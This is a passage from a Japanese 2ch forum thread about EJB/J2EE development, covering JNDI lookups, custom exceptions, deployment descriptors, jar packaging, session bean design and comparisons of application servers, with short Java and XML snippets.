そもそもそのJNDI名自体が普遍的で変わることなんてなさそうだから。
(そもそもわざわざ別名をつける必要があるほど名前がコロコロ変わるシチュエーションなんてあるの?)
それによってパフォーマンスが落ちるとかはないんでしょ?
0299デフォルトの名無しさん
NGNGやめとけ。
悪い癖とわかっていながら、なぜそれを続ける?
名前が変わるからとかそんな単純な理由だけではないぞ。
NamingContextがDistributedなApplication Serverの場合、対応できないぞ。
そもそもSpecで直接lookupするやり方は完全にDeprecatedとされている。
0300デフォルトの名無しさん
NGNGあなたの環境は知らないがだいたいやることは。
・クライアント用JDNINamingContextFactoryが入ったjarを入れる。(アプリケーションサーバについてるぞ)
・EJBのスタブを入れる。(インターフェースだけでも結構です)
・InitialContextのコンストラクタにJndiのパラメータを突っ込んでnewする。(アプリケーションサーバ依存)
あとはおんなじ。
PotableRemoteObject.narrow()でキャストすんのを忘れんなよ!
0301デフォルトの名無しさん
NGNGそんなに悪い癖では無いとおもうよ。
EJBのクラスタリングに対応出来る可能性が大きいしね。
0302274
NGNGありがとうございます。
InitialContextのコンストラクタに引数を与えるということをしていませんでした
どこかの本にInitialContextには引数を与えないほうがいいみたいなことが書いて
あったような気がして(勘違いかも)…
とりあえず300ゲトおめでとうございます
0303デフォルトの名無しさん
NGNG逆だろ?
対応できなくなる可能性があるぞ。
0304
NGNGEJBを極めるにはJNDIをEJBとは個別に勉強しなきゃならないの?
0305デフォルトの名無しさん
NGNGJ2EE専用の技術ってわけじゃないよ。
名前とリソースの関係を扱う一般的な技術。
一応チュートリアル貼っとく。
http://java.sun.com/products/jndi/tutorial/getStarted/index.html
0306デフォルトの名無しさん
NGNG詳しく説明してください
0307デフォルトの名無しさん
NGNG確かにコンテナ内でEJBがInitialContextを呼び出すときは、デフォルトコンストラクタを使うのが良いです。
まず問題ないし、ポータビリティが増すからね。
対してEJBクライアント単体ではどのコンテナにつなぐかわからないから、引数つきでも良いんだと解釈しています。
実際そうしないしないと、呼べないし(藁)。
0308デフォルトの名無しさん
NGNGクラスタ環境だと、deploy時に特別なJNDI名とbindingしなければいけないってことはよくあることだよ。
例をあげると、WebSphere V5の場合
cell/cluster/clustername/ejb/yourHome
のようにね。
アプリケーションサーバー依存のこういうことを、
コード中で意識したくはないでしょ。
0309デフォルトの名無しさん
NGNGWebSphere V5 以外には?
0310デフォルトの名無しさん
NGNGへー。
ちなみに Borland Enterprise Server だと、
・JNDI名直接
・java:comp/env/ejb/XXXX による環境変数
のどちらでも、勝手にクラスタリングやフェイルオーバーが掛かりますね。
特別なJNDI名にしなきゃいけないのは使えないですね。
0311デフォルトの名無しさん
NGNGBESってCORBAだと実績のあるVisiBrokerベースだし、
WASより使い勝手いいと思うんだけど、普及しないね。
やっぱ某の営業がヘタだからかな(藁
0312デフォルトの名無しさん
NGNG直すのがめんどくさいだけなんでしょ。
勝手にすればいいじゃん。
0314デフォルトの名無しさん
NGNGどこが?
0315288
NGNGint 値は基本データ型なので、クライアントに送信できますが、
String は参照型なので、セットする XxxException(String code) のような
コンストラクタでセットした値は null になってしまいました。
この String をクライアントに送信するにはどうすればよいのでしょうか?
0316デフォルトの名無しさん
NGNGどのようなユーザー例外を作成したのですか?
具体的に書きましょう。
0317288
NGNG以下のように実装されている Exception に対し XxxException(Throwable , int) でインスタンスを生成した時、
EJBを呼び出しているクライアントで getCode() をすると、設定した int 値を返すのですが、getCause() は null を返すのです。
EJB の中でこの Exception を catch した後に getCause() した時は Exception を取得できます。
public class XxxException extends Exception {
private Exception detail;
private int code = NULL;
public XxxException() {}
public XxxException(Exception e) {
this.detail = e;
}
public XxxException(Exception e, int code) {
this.detail = e;
this.code = code;
}
public int getCode() {
return code;
}
public Exception getCause() {
return detail;
}
}
0318288
NGNG0319デフォルトの名無しさん
NGNG> private int code = NULL;
NULLとはなんですか?
正確に書きましょう。
0320288
NGNGint型の定数の -1 です。
private static int NULL = -1;
0321デフォルトの名無しさん
NGNGBorland Enterprise Server 5.1 にて試しましたが、以下のようになりました。
うまく行っているようです。
---- EJB実装 --------
try {
... // lookupを意図的に失敗させる
} catch (Exception ex) {
throw new mypack.MyException(ex, 99);
}
---- EJBクライアント --------
try {
remote.foo(); // EJBを呼び出す
} catch (MyException ex) {
System.err.println(ex.getCause()); // javax.ejb.ObjectNotFoundExceptionと表示
}
0322288
NGNG結論からいうと、うまく動きました。
321さん。深く感謝します。
うまく動いていないと思ったのは、
EJB から返ってきた XxxException を JSP でデバック出力していたのですが
デバック出力するスタックトレースが失敗して発生していた例外と、
Servletで表示していた getCause() の例外を見誤っていた。
コーディングミスで throw new XxxException(e) したのを再 catch していたみたいで
思っていたエラーが表示されない→XxxException が動いていない、
と思ってしまったのが原因でした。
0323デフォルトの名無しさん
NGNG・EnterpriseBeanからRuntimeException/RemoteExceptionおよびそれを継承した例外をスローしてはならない。
・EJBExceptionはEJBコンテナによってRemoteExceptionに置き換えられる。
・基本はEJBExceptionをスローすることだが、EJBExceptionだけでは自由度が高くない為、Exceptionを継承したカスタム例外クラスを作るとよい。その場合、カスタム例外クラスはRemoteExceptionから派生してはならない。
以上を受けて…
・Homeインターフェイスについては、CreateExceptionとRemoteExceptionをスローする。
・Remoteインターフェイスについては、RemoteExceptionまたはカスタム例外をスローする。
・EnterpriseBeanについては、EJBExceptionまたはカスタム例外をスローする。
・但しコンテナがコールバックするメソッド(ejbXXXX)はRemoteExceptionをスローする。(ejbCreateのみCreateExceptionとEJBExceptionをスローする)
・EnterpriseBeanからカスタム例外をスローする場合(つまりEJBExceptionをスローしない場合)は、rollback処理を自己責任で実装する。(EJBContext#setRollbackOnlyを呼ぶ等)
こんな認識で合ってます?
0324JNDIワケワカラン
NGNG(使っているのはWebSphereだが、まずJ2EE RIから確認してみようと思っている)
で、まずEARのsun-j2ee-ri.xmlに以下を記述。
<enterprise-beans>
<ejb>
<ejb-name>HogeHogeBean</ejb-name>
<jndi-name>sample/HogeHoge</jndi-name>
:
</ejb>
</enterprise-beans>
これでHogeHogeBeanがsample/HogeHogeという名前でJNDIに登録されるようになる(はず)。
次にWARのweb.xmlに以下を記述。
<ejb-ref>
<ejb-ref-name>ejb/HogeHoge</ejb-ref-name>
<ejb-ref-type>Session</ejb-ref-type>
<home>test.sample.HogeHogeHome</home>
<remote>test.sample.HogeHoge</remote>
</ejb-ref>
これでWAR内のプログラムからejb/HogeHogeという名前で呼び出せるようになる(はず)。
0325JNDIワケワカラン
NGNG最後にEARのsun-j2ee-ri.xmlに以下を記述。
<web>
<ejb-ref>
<ejb-ref-name>ejb/HogeHoge</ejb-ref-name>
<jndi-name>sample/HogeHoge</jndi-name>
</ejb-ref>
</web>
これでWAR内のプログラムからejb/HogeHogeをlookupすればsample/HogeHogeにバインディングされて登録されているEJBが呼び出せる(はず)。
なのに実行するとjavax.naming.NameNotFoundExceptionがでてしまう。
なんか設定間違ってる?
JNDI関係はマニュアルが少ないからよく分からん。
0326デフォルトの名無しさん
NGNGejb/HogeHogeというのはweb.xmlとsun-j2ee-ri.xmlを結びつけるためのもので、
lookupすべきはsample/HogeHogeかと。
>323
た、多分それで…
0327デフォルトの名無しさん
NGNG>・Homeインターフェイスについては、CreateExceptionとRemoteExceptionをスローする。
CreateExceptionとRemoteException だけとは限らないですよね?
>・Remoteインターフェイスについては、RemoteExceptionまたはカスタム例外をスローする。
RemoteExceptionまたはカスタム例外 だけとは限らないですよね?
>・EnterpriseBeanについては、EJBExceptionまたはカスタム例外をスローする。
EJBExceptionまたはカスタム例外 だけとは限らないですよね?
>・但しコンテナがコールバックするメソッド(ejbXXXX)はRemoteExceptionをスローする。
RemoteException だけとは限らないですよね?
0328デフォルトの名無しさん
NGNG可能かどうか?ではなく、それが推奨されているかどうか、EJB作法として一般的かどうか?
について考察しているから、「〜だけに限らない」のであれば、その「限らない」ものが何か?
そしてそれがどのくらい一般的で意味のあるものかどうかを書かなければ相手にされませんぞ。
0329デフォルトの名無しさん
NGNG「限らない」=「いくらでもある」ということでは?
0330デフォルトの名無しさん
NGNG0331デフォルトの名無しさん
NGNG>ejb/HogeHogeというのはweb.xmlとsun-j2ee-ri.xmlを結びつけるためのもので、
>lookupすべきはsample/HogeHogeかと。
話の流れとはあまり関係ないが、lookupする名前はejb/xxxxxxにして、実際に登録する名前をsample/xxxxxxにするのが良いと聞いたことがある。
PetStoreもJNDI名はestore/xxxxxxにしてlookupはejb/estore/xxxxxxみたいな感じだったよね?
勘違いならスマソ
0332デフォルトの名無しさん
NGNGStateless Session Beanで、リクエストの実行数を制御することは可能?
具体的には、1つ1つのStateless Session Beanに対して、
・デフォルトで実体化されていてリクエストを待ち受けているインスタンス数を設定する
・大量リクエスト要求による負荷アクセス時に、最大同時リクエスト処理数(=インスタンス数)の
上限を設定しておき、残りのリクエストについてはキューイングする
といったことが行いたいのだけど、こういうのってEJBコンテナの設定で可能なのかなぁ?
0333デフォルトの名無しさん
NGNGStateless Session Beanって、最大リクエスト数=インスタンス数には
ならないのではないでしょうか。
たいていはスレッド数の上限を設けることで制限すると思うけど、
個々のBean毎にそれが設定できるアプリケーションサーバは
あんまり見たことないような。私が知っているものは限られているので
あるのかもしれませんが。
っていうか、そういうことってマニュアルに書いてないですか?
0334デフォルトの名無しさん
NGNGできるよ。
InfoCenterみてみなよ。
0335age
NGNGよくショッピングカートを例にして「カートはStateful Session Beanにしましょう」なんていってるサンプルあるけどさ。
そんなのすべてStatelessにしてデータを取得したら全てVOにしてServlet側のSessionに格納したほうがはるかに便利じゃない?
0336デフォルトの名無しさん
NGNGWebApplication作るときにもHttpSession使わず、Statelessな仕組み
のみで行くの?
0337デフォルトの名無しさん
NGNG突っ込みがおかしい。
>>335は
セッションの状態情報維持にはHttpSessionを使用して、Servlet<->EJB
はStatelessでいいじゃん、という話しだと思うが。
0338335
NGNGわざわざ1ユーザに対して1 HttpSession & 1 Steteful Session Beanを持つ必要ないんじゃないかって。
100人がアクセスした場合に、100 HttpSessionのみならず 100 EJB Instanceっていうのはなんかイヤじゃない?
0340デフォルトの名無しさん
NGNGHttpServeltからしかつかわないのなら、それが妥当でしょうね。
EJBは、極言すれば単なるRMIサーバのラッパですから、それ以外
にも使い道があるということで、それによってはSFSBもありかも。
0341335
NGNGご意見どーも。Servletからしか使う予定はないっす。
Session FacadeやらValue Objectやらパターン使っていろいろやっていくと、
EJBはStatelessのほうが自然じゃないかって思っただけなんだよね。
ましてやEJBをJSPからuseBeanする気なんかないし。
0342デフォルトの名無しさん
NGNG例えば、比較的クライアント数が少ないけど、
やりとりする情報量が多いようなシステムでは、
状態管理にHttpSessionを使って、SFSBをデータキャッシングに
使うようなやり方だって考えられる。
0343デフォルトの名無しさん
NGNGSessionFacadeは、EJBクライアント側が個々に状態維持を行う
ことが可能であるという前提だからねえ。
でも、そうではない場合って確かにそんなにはなさそうだね・・・
EJBコンポーネントの単体実装だけで売る時とか?
0344デフォルトの名無しさん
NGNGSFSBにキャッシュはイクナイ!EJBコンテナのクラスタリングなんかした
日には、コピー作りまくりでえらいことになるッス!
サーバー側でVOでキャッシュするか、HttpServlet側でキャッシュして、
セッションをまたいで共用すべきかと・・・
0345デフォルトの名無しさん
NGNGそっか、考えてなかったです。ごめんなさい。
0346デフォルトの名無しさん
NGNG> ことが可能であるという前提だからねえ。
StatelessSessionBeanは、のtypoか?
SessionFacadeは、単にFacadeのSessionBeanによる実装で、クライアント
でのセッション管理が必須な訳では無いよ。statelessで実装した場合に
必須となるだけで、statefulで実装するのもあり。
statefulは、ユーザー認証されている事をサーバ側のアプリでも保証して
おきたい場合なんかに使えるのでは?
0347デフォルトの名無しさん
NGNGそんなの特定のApplicationサーバーの作りが悪いだけでしょ?
0348
NGNG0349デフォルトの名無しさん
NGNGデファクト使うなら、WebLogicかWebSphereかな。
フリーのJBossとかもいいかも。
WebObjectsも最近使ってるが、かなりいい。
0350デフォルトの名無しさん
NGNGあんたは、クラスタリングされているEJBコンテナ同士で、内部で所有している
セッション状態情報の同期どうやって取るつもりなの?性能落すか、コピー作り
まくるかのどっちかしかないと思うんだが。
0351342
NGNGされていても同期とらんでもいいんじゃないか?
0353デフォルトの名無しさん
NGNGsetAttributeでオブジェクトにバインドすることが多いんですけど、
SFSBを同様に使用する場合、どうやってユーザIDをバインドするんですか?
0354デフォルトの名無しさん
NGNGRMIのすぐ上の層で隠蔽かかってるでしょ。気にしないでいい。
TCP/IPでパケットにIPアドレスやTCPポート番号書いてあること
を、ユーザは気にしないでイイのと一緒。
0355デフォルトの名無しさん
NGNGSFSBへのHandleをSession.setAttribute(key, handle) しておけ。
0356353
NGNG回答ありがとうございます。
すいません、各EJBクライアントマシンに対して1つずつインスタンスが作成
されるという認識で良いのでしょうか。他に目に見える部分でキーを設定し、
インスタンスを生成するということは可能なんでしょうか?
0357デフォルトの名無しさん
NGNGSFSBとHttpSessionを勘違いしてないか?
とりあえずJBOSSダウソしてみて自分でSFSB書いてみ。
0359デフォルトの名無しさん
NGNG使っているEJBコンテナのドキュメントに書いてないか?
少なくとも、コード中で意識することではないだろ?
0360nnn
NGNGWebLogicのstartWebLogic.cmdにCLASSPATH=xxx.jarなどとパスを通して、
EJBの中で他のjarを参照しています。
EJBのjarの中にmanifestファイルにxxx.jarへのパス設定をして、xxx.jarを
含めてみたのですが、WebLogicでEJBのデプロイができません。
(xxx.jarのクラスがないとのエラーになります)
EJBのjarには、jarを含めることはできないのでしょうか?
それとも、デプロイの仕方に問題があるのでしょうか?
0361デフォルトの名無しさん
NGNG0362デフォルトの名無しさん
NGNG> WebLogicのstartWebLogic.cmdにCLASSPATH=xxx.jarなどとパスを通して、
こんなことしていいのか?
複数のWebアプリケーションから共通で参照されるのであれば将来的にjarのバージョン不整合とか起きないか?
Webアプリケーションからjarを参照するなら、EARにjarを組み込むだけでいいんじゃない?(EARの下に./library/xxxx.jarみたいに)
manifestにはEARルートからそのEAR内jarへの相対パスを記述するはず。(classpath ./libraryみたいな感じ?記述ルール忘れた)
0363デフォルトの名無しさん
NGNG>>360,362
legacyシステムとの接続/リアルタイム処理なんかあるとしょうがいないんで
サーバークラスパス内に配置することあります。まじコンポーネント指向でいく
ならメッセージドリブンEJBなど使ってで分離したほうがいいんでしょうが..
サーバークラスは、weblogic.jar(J2EE API,WebLogic API)がどこから
も参照できるのといっしょで、manifestなんか記述する必要ないです。
0364デフォルトの名無しさん
NGNG俺も最近のWebLogicは使ってないのでよく分からないのだが、
デプロイの時にはstartWebLogic.cmdだけじゃなくて
デプロイコマンドの方にもクラスパスを設定しないと
だめなんじゃない?
0365デフォルトの名無しさん
NGNG> legacyシステムとの接続/リアルタイム処理なんかあるとしょうがいないんで
> サーバークラスパス内に配置することあります。
何がしょうがないのだろう?
まぁ自作クラスじゃないのだろうが。MQとかRDBが提供してるjarを置くって事だよね?
自作クラスを置いて、そんな言い訳してるなら、考えなおした方がいい。
0366デフォルトの名無しさん
NGNGもしもそれが色々なEARから参照されるクラスなら、
むしろシステムクラスパスに設定しておいた方がメンテナンスは楽になる。
一つのEAR内でしか参照されないクラスなら、
>>362のやり方をした方が、良いと思われ。
WebLogicの再起動をしなくても、EAR単位でアプリの起動、終了が可能になる。
WebLogicのクラスローディングについては、以下を参照してみてね。
http://edocs.beasys.co.jp/e-docs/wls/docs70/programming/classloading.html
0367nnn
NGNGEJB.jarの構造は、
・EJBのclass
・lib
xxx.jar
yyy.jar
・META-INF
weblogic-ejb-jar.xml
MANIFEST.MF
ejb-jar.xml
です。
MANIFEST.MFの内容は、
Manifest-Version: 1.0
Created-By: Ant 1.3
Class-Path: lib/xxx.jar lib/yyy.jar
です。
このEJB.jarをWebLogicのconsole画面でEJBデプロイをすると、
xxx.jarのクラスが参照できないとデプロイエラーになるので、
EJB.jarの中のxxx.jarファイルが参照できていないようです。
EJBを個別にデプロイせずに、EARに含めるにしても、
xxx.jarはWebアプリには提供せず、EJB.jarの中に入れたいのです。
上記のようなEJB.jarがデプロイできないってことは、このEJB.jarを
EARに入れても、xxx.jarは参照できませんよね。
xxx.jar入りのEJB.jarを作る上手い手はありませんか?
0368デフォルトの名無しさん
NGNGまずべリファイのエラーメッセージを送ってくれ。
0369デフォルトの名無しさん
NGNGデプロイしようとしていてhomeまたはremoteインターフェースでxxx.jar
のクラス参照してるということですよね。デブロイする前にejbcかけ
てみればはっきりするのでは。
もし上記の理由ならクライアント側にもxxx.jarは必要webapアプリなら
WEB-INF/libにほうり込む。当然home,Remoteインターフェースクラスも。
xxx.jarをソースからビルドしこのこのEJBでしか使わないつもりなら
EJBクラス内にいっしょに展開し、DDのejb-client-jarでejbcにクラ
イアントクラスはかせるのが手っ取り早いかも。
0370デフォルトの名無しさん
NGNG>>335
SFSBにしとけば、コンテナが勝手にパッシベートしてくれるのが嬉しい
>>347
確かにAPサーバが悪いだけかもしれんが、WLSクラスタがそうだとしたらどうする?
0371デフォルトの名無しさん
NGNGマニフェストクラスパスは、EARに含めないと、きかないっぽいよ。
http://edocs.beasys.co.jp/e-docs/wls/docs70/ejb/EJB_deployover.html
の、「マニフェスト クラスパス」の項を見てみ。
0372371
NGNGそもそも外部のjarファイルを参照するときに使う物であって、
jarファイルの中に、さらにjarファイルを含めて
使うためのものではないです。
それ以前に、「Webアプリには提供しない」という要求を満たすために、
EJB.jarの中にxxx.jarを入れなければいけない、というのが
意味がよくわからないな。
単に〜.war、EJB.jar、xxx.jarの3つを独立して作って、
それをEARに含めればいいんじゃないかと思うんですが、
それだと何か不都合があるのでしょうか?
0373デフォルトの名無しさん
NGNGまたくそのとおり。
0374デフォルトの名無しさん
NGNGWebLogicとJBossだけなんですか?
WebShereは少し触ったけど、デプロイに滅茶苦茶時間が掛かって
大変でした。実はもっと簡単にEJBのテストができたりするのかな?
SunOneとかはどうなんだろ。
0375デフォルトの名無しさん
NGNG基本的には全てのJ2EEサーバがHotデプロイに対応してるはず。
再起動しないと、アプリを置換できないJ2EEサーバなんて使い物に
ならんだろ。
漏れは、Weblogicと、Jbossしか知らんけどね。
0376デフォルトの名無しさん
NGNGHot Deployとかにも対応してんのかな?
1サーバあたり¥7マソくらいで、アクセス数無制限ライセンスだから、
安価なJ2EE鯖としてどうじゃろか?とあれこれ資料を探しているのだが。。。
やはりマイナーだなぁ。
0377デフォルトの名無しさん
NGNGWebObjectってもともと700マソくらいしたのが、100分の1の値段に
なったやつでしょ?
どう考えても、Hot Deployできないなんて考えられんが。
0378デフォルトの名無しさん
NGNGBorland Enterprise Server はどうだい?
0379
NGNG0380デフォルトの名無しさん
NGNG\700マソ時代は、EJB/J2EE対応ではない、独自概念の製品だったんだよ。
現在のEJBコンテナは、OpenSourceの物を利用してるらしいし。OpenEJB?
J2EE対応は最近なんで、もしかしたらホットデプレート未対応かも。。。
もっとも、運用は拍子抜けするほど簡単なんで、EJB使う必要も無いかも。
ビルドしたアプリを、管理ツールから選択して、起動するだけだからなー。
0381デフォルトの名無しさん
NGNG500マソのWebLogicがオーバースペックに感じる案件も多いし。
クライアント数数十人の、イントラ系システムなんかだったら、
きっとWebObjectの方が小回り効いて良さそうだよね。
0382デフォルトの名無しさん
NGNGEJB以外の話を少しでもしたらそっこー退場願うからな。
0383デフォルトの名無しさん
NGNG何かイヤなことでもあったか?
自分自身が、厨発言してることに気付けよ(w
0384デフォルトの名無しさん
NGNGあるとないとはどう違うの?
0385HTMLと何かで・・・
NGNG↑名スレの予感・・・!!?
0386デフォルトの名無しさん
NGNG0387デフォルトの名無しさん
NGNG0388デフォルトの名無しさん
NGNGIIS,tomcat,ejbを試しています。
EJBからオラクルに接続したいのですがjdbcの設定方法が
分かりません。ドキュメントは読んだつもりです。
どうすればいいのか教えてください。
関連サイト等ありましたらそちらもお願いします。
0389デフォルトの名無しさん
NGNG> IIS,tomcat,ejbを試しています。
ejbというソフトウェアは聞いた事ないのですが、何者ですか?
> ドキュメントは読んだつもりです。
「つもり」じゃだめ。ちゃんと読みましょう。
0390デフォルトの名無しさん
NGNG0391デフォルトの名無しさん
NGNGSun版WebSphereグループって感じだね。
iPlanetのAP鯖の基本構成が無料になったんだねえ・・・
J2EEのSDK付属のJ2EEサーバRIとなにが違うのかな?
ソースコードいっしょだったりして。
0392デフォルトの名無しさん
NGNGリモートインターフェースとローカルインタフェースの使い分けってみなさんどうしてますか?
なんか実質的な違いがよくわからないのですが。
リモートインターフェースなら、ローカルでもリモートでも動くから、
全部リモートで実装しちゃいかんのでしょうか?
0393デフォルトの名無しさん
NGNGリモートインターフェイスをつかうと、
EJBのメソッドアクセスは全てTCP/IPによる通信経由(例え同一
マシン上でも)になるので、頻繁にアクセスすると遅くなるよ。
あるEJBのgetterやsetterを繰り返しアクセスするようなつかい方
をするなら、EJBの配置方針によっては、ローカルIFを使用してネ
ットワーキングを無駄にくりかえす愚行を回避することを、検討し
ましょう。
それが問題ないなら、どちらでも好きにしてちょ〜。
ValueObjectやEJBのProxyObjectを使用すればある程度
リモートIFでもこの問題を解決できるので、配置によって
はこれらの採用も考えてちょ。
0394デフォルトの名無しさん
NGNGこのパターンを使わないで「EJB遅い」っていわれても困るよなー。
その次は、DataAccessObjectパターン、SessionFacadeパターンあたりが
重要かな?
0395392
NGNG>リモートインターフェイスをつかうと、
〜
>ットワーキングを無駄にくりかえす愚行を回避することを、検討し
>ましょう。
やはりそういう問題ですか・・・。
使えるマシンの数とか分散のさせかたとか、不透明なんですが、
とりあえずローカルで実装して、リモートにしなきゃなんないものだけ、
(切り分けポイントを考慮しつつ)必要に応じてリモートに変えるってのが、
妥当なやり方ですかね。そうします。
>ValueObjectやEJBのProxyObjectを使用すればある程度
>リモートIFでもこの問題を解決できるので、配置によって
>はこれらの採用も考えてちょ。
その辺りは全然知りませんでした勉強してみます。
ありがとうございました。
0396デフォルトの名無しさん
NGNGValueObjectの発想は、EJBに限らず分散処理では当たり前の話
だよねえ・・・
別にパターンとして公表されてなくても、やってて当然だと思う
んだけど、物を知らないくせに分散処理やりたがるアホが最近
おおくて・・・(泣
CLASSPATHが分かりません云々・・・と同レベルのFAQとして扱う
べきだよね(藁
0398デフォルトの名無しさん
NGNGパフォーマンスを改善したみたいよ。
あと、デプロイにsun-application.xmlを使うのが違う。
0399デフォルトの名無しさん
NGNG分散オブジェクトをやりはじめたころは、
ホントにこんなのでいいの?って思わなかった?
少なくとも俺にとっては当然なものではなかったな。
0400388
NGNGどのドキュメントに載っているで良いので教えてください。
自分が見たのは他のDBに接続することもできるとか
そういう記述しかなくて分かりませんでした。
0401デフォルトの名無しさん
NGNGOracleのJDBCドライバの説明書に載ってんじゃないのか。
・・・割れ物かよオイ(藁 説明書はフリーだからサイトいって
落してきなさい。
0402デフォルトの名無しさん
NGNGそうなんですか。オラクルの方ですか。ありがとうございます。
割れ物じゃありませんよ。ちょっと会社で試していました。
0403デフォルトの名無しさん
NGNGEJBでJDBC接続ってことは、APサーバに
データソース作ったり、JNDI設定してやるのが普通だと思うけど、
そんなのはもう分かってる?
一応、APサーバのドキュメントも見た方がいいよ。
0404デフォルトの名無しさん
NGNGどうもありがとうございます。
あまり良く分かっていません。
今はcloudscapeを使っているサンプルアプリを
オラクルに接続して試してみたいと思っている段階です。
0405デフォルトの名無しさん
NGNGrunclientで立ち上げたプログラムはどうやってとめるのでしょうか?
それから立ち上がっているプログラムを一覧表示することはできないのでしょうか?
0406デフォルトの名無しさん
NGNG環境書いてから。
0407405
NGNGwin2000
j2se1.4
j2ee1.3
です。
0408デフォルトの名無しさん
NGNGJ2EEのリファレンス実装というやつか?
とりあえず、runclientとかいうのはバッチファイルかな。
マニュアルに止め方が書いてなければ、Ctrl+Cで止めるんじゃないの。
ひょっとしてコマンドプロンプトとかよく知らない新人プログラマ?
あと、立ち上がっているプログラムを一覧表示ってどういう意味よ?
0409デフォルトの名無しさん
NGNGいえ、コマンドプロンプトの使い方は分かります。
Ctrl+Cなんですかね。起動するコマンドはあって停止するコマンドがない
のが不思議でした。
>あと、立ち上がっているプログラムを一覧表示ってどういう意味よ?
runclientで立ち上げたプログラム(アプリケーション?)の
一覧があるとhttp://----:8000/
のあとに書く文字が分かりやすいと思ったので質問しました。
もちろんdeploytoolで見れば分かるのですが、、
もしかしてrunclientで一度実行したものはもう一度実行する
必要はないのでしょうか?再起動後も
0410デフォルトの名無しさん
NGNG使っているの、Sunのページから落とせるJ2EEだよね。
他のアプリケーションサーバじゃなくて。
なんとなく勘違いしているんじゃないかと思うんだけど、
runclientって、クライアント側プログラムの起動スクリプトじゃない?
何がクライアントで、何がサーバで動いているのか、イメージはできている?
もしも出来ていないようなら、質問する前に先にちょっと
本でも買って勉強した方がいいよ。
0411デフォルトの名無しさん
NGNGcloudscape ってことは、多分J2EE RI(リファレンス実装:つまり、SDKについてくる、おまけの環境)
を使ってると思うんだけど、(別の製品を使ってるなら、その名前がないと答えられない)。
とりあえず、JDBCを直で使ってるなら、
J2EE_CLASPATH にオラクルのJDBCの jar ファイルを追加してやればいいはず。
CMP で使う場合は、まずそのままでは deploytool の作業がうまくいかないはずだから、
「インストールの構成」(だったかな)で「データリソース」「標準」の設定に オラクルを追加する
必要がある(はず、私はやったことない。詳しくは deploytool のヘルプを参照してください)。
0412409
NGNGありがとうございます。
教えていただいた箇所をよんで見ます。
0413U ◆CZtFsGiu0c
NGNG昔CORBA使って開発していた時はstruct使いまくってた。でないと
パフォーマンス出なかったし。クライアントがWin3.1の時代だったから今より
条件厳しかったからね。
でも今でも結局あんまりやることは変わってないんだよね。結局パフォーマンス
ネックってディスクとネットワークのI/Oだから。
0414デフォルトの名無しさん
NGNGservlet + jsp + bean
でも まともなWEBアプリつくれるんですよね。
0415デフォルトの名無しさん
NGNG中〜大規模で、オブジェクト指向を的確に理解する技術者をある程度確保できていて、
かつ先のメンテナンス性や拡張性を意識する余裕があるプロジェクトだったら、
EJB採用は有効だよ。
0416デフォルトの名無しさん
NGNGアリガト。EJBと聞くと servlet+ jsp + beanだけと比べると めんどくさそうな
定義があって悩んでいたが、スッキリした。 とはいっても
javaアプリ開発するのは、はじめてなんだけどな とはいっても
apache + tomcat + jbuilderでプロトタイプはつくったんだけどね。
0417デフォルトの名無しさん
NGNG0418デフォルトの名無しさん
NGNGあれについてる cfremework は使えるフレームワークなの
0419デフォルトの名無しさん
NGNG0420デフォルトの名無しさん
NGNGフレームワークはフレームワークだけど。
Cosminexus って下請け以外で使っているところあるの?
0421デフォルトの名無しさん
NGNGいけないとかローカルファイルにアクセスしちゃいけないとかいろいろ制限あった
よね? まぁ EJB の構造を見れば理由は分かるんだけど、動作ログとかの出力どう
やってるんすか? まさか全部 DB じゃないよね?
>>418
この間 IBM からのシステム移行に失敗した日立のビックカメラサイトは Cosminexus だったな…
0422デフォルトの名無しさん
NGNG関連会社はWebLogic使ってたよ。
0423デフォルトの名無しさん
NGNGこんなんあったかなぁ…
>420のcFrameworkではlog4jでログとってるけど…
0424デフォルトの名無しさん
NGNGEJBコンソーシアムのポータビリティに関する規約にはあります。
ローカルファイルにアクセスしるコードは別のクラスに汁。だたよな・・
0425デフォルトの名無しさん
NGNGAllowing the enterprise bean to read and write file descriptors directly could compromise security.."
―――Enterprise JavaBeansTM Specification,Version 2.0 24.1.2より
確かに。まあ、クラス別にするだけだから別にいいか…普通こんなことしないだろうし。
0426デフォルトの名無しさん
NGNGwebobjectsってかなりいいと思うのですが、
それを使わずj2eeを使うというのはどうしてでしょうか?
やはりwoはマイナーだからでしょうか
0427デフォルトの名無しさん
NGNGWOは使ったことないので聞きたいのですが、2フェーズコミットはできるの
でしょうか?
0428デフォルトの名無しさん
NGNGすいません。WOは使っていましたがまだまだあまちゃんなので
分かりません。EOF任せにしていました。
0429デフォルトの名無しさん
NGNGなにせ、WebObjectsは、百万回死ぬほどマイナーなので、
WebLogicとかWebSphereなんかのメジャー製品を使うほうが、
よほどメリットがあると思いまつよ。
0430デフォルトの名無しさん
NGNGあれのJTSはTyrexだからできるはずだよ。
ただし、まともに動くかはわからん(w
Tyrex 1.0たまに使ってるけど、結構ボロボロ。
0.9.7の時よかはるかにマシだけどさ。
0431427
NGNG気になって、appleのページを見に行ったら、WOってEJBもサポートするように
なってるんだね。
0432デフォルトの名無しさん
NGNG安いから使おうぜと 思っているんだけどな あまちゃんだろうか
0433デフォルトの名無しさん
NGNG0434デフォルトの名無しさん
NGNGちったぁググれよ、馬鹿
http://www.google.com/search?hl=ja&ie=UTF-8&oe=utf-8&q=Tyrex+EJB&btnG=Google+%E6%A4%9C%E7%B4%A2
0435デフォルトの名無しさん
NGNGどんなの
俺そんなトランザクションかけたことないんだけど(w
0436デフォルトの名無しさん
NGNGだれかおしえてくれ。
0437IP記録実験
NGNGhttp://qb.2ch.net/test/read.cgi/accuse/1042013605/
1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。
27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?
38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27
鋭いです。
73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
0438デフォルトの名無しさん
NGNG自ホスト名とリスンポート番号知りたいんですが、
どーすりゃいいでしょう?
localhost:7001みたいな。
0439デフォルトの名無しさん
NGNGTomcatがEJBコンテナ実装してくれればいいんだろうけど、望み薄だし・・・
JBoss+Tomcatというのもなんか煩雑な感じがして嫌だし・・・
Enhydraはオープンソースとしては終わっちゃったという噂だし・・・
